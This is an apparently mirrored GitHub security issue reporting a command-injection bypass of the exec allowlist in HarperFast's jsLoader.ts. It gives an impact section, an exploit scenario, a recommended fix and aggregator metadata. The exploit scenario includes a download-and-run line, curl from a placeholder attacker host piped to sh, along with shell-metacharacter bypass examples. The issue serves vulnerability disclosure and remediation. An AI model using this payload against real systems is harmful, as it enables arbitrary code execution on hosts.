HarperFast / HarperFast/harper

[security] ALLOWED_COMMANDS allowlist for exec is bypassable via shell metacharacters

Open
#1,924 2 comments 0 reactions 0 assignees View on GitHub
area:security
Dominant language
JavaScript
Stars
89
Forks
10
Avg merge
2d 6h
Merged PRs (30d)
200

Description

**Severity:** MEDIUM · **Category:** `command-injection` · **CWE-78**
**Location:** `security/jsLoader.ts:1046` in `createSpawn (returned spawn wrapper)`

## Impact
A component/application that is only supposed to be able to run a single allowlisted binary (e.g. `python`) can run any command on the host via command substitution/piping, defeating the sandbox the allowlist is meant to enforce.

## Details
The allowlist gate `ALLOWED_COMMANDS.has(command.split(' ')[0])` only inspects the first whitespace token of `command`, but `child_processConstrained.exec = createSpawn(child_process.exec)` passes the entire string to a shell (/bin/sh -c). An allowlisted prefix followed by a shell metacharacter (`ls $(...)`, `ls `...``, `ls |evil`) runs arbitrary, non-allowlisted commands.

## Exploit scenario
Operator allowlists `python` via APPLICATIONS_ALLOWEDSPAWNCOMMANDS. A component calls require('child_process').exec('python $(curl http://attacker/x | sh)'). split(' ')[0] === 'python' passes the gate, and the shell executes the command substitution, running attacker-controlled code outside the allowlist.

## Preconditions
- APPLICATIONS_ALLOWEDSPAWNCOMMANDS is configured with at least one command (default is empty, in which case exec is fully blocked)
- A loaded component/application calls the constrained child_process.exec

## Recommended fix
Do not gate a shell-interpreting API (exec/execSync) with a token prefix check. Either forbid exec entirely and only expose execFile/spawn with shell:false, or validate the full argv and reject any shell metacharacters; enforce the allowlist against the actually-resolved executable, not the first space-delimited token.

---
Found by an automated multi-agent security review (Claude Security) against `origin/main` @ `2615b092b`, confirmed by a three-lens verification panel. Line numbers are as of that commit. No code was executed; derived from source review, so validate before remediation.

Contributor guide

Open the contributing guide

Research direction

Start in security/jsLoader.ts around line 1046 and trace createSpawn for the constrained child_process.exec wrapper. Compare how exec handles shell syntax with the allowlist check, then confirm that the chosen remediation prevents allowlisted commands from invoking shell metacharacters or non-allowlisted executables.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript, nodejs
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.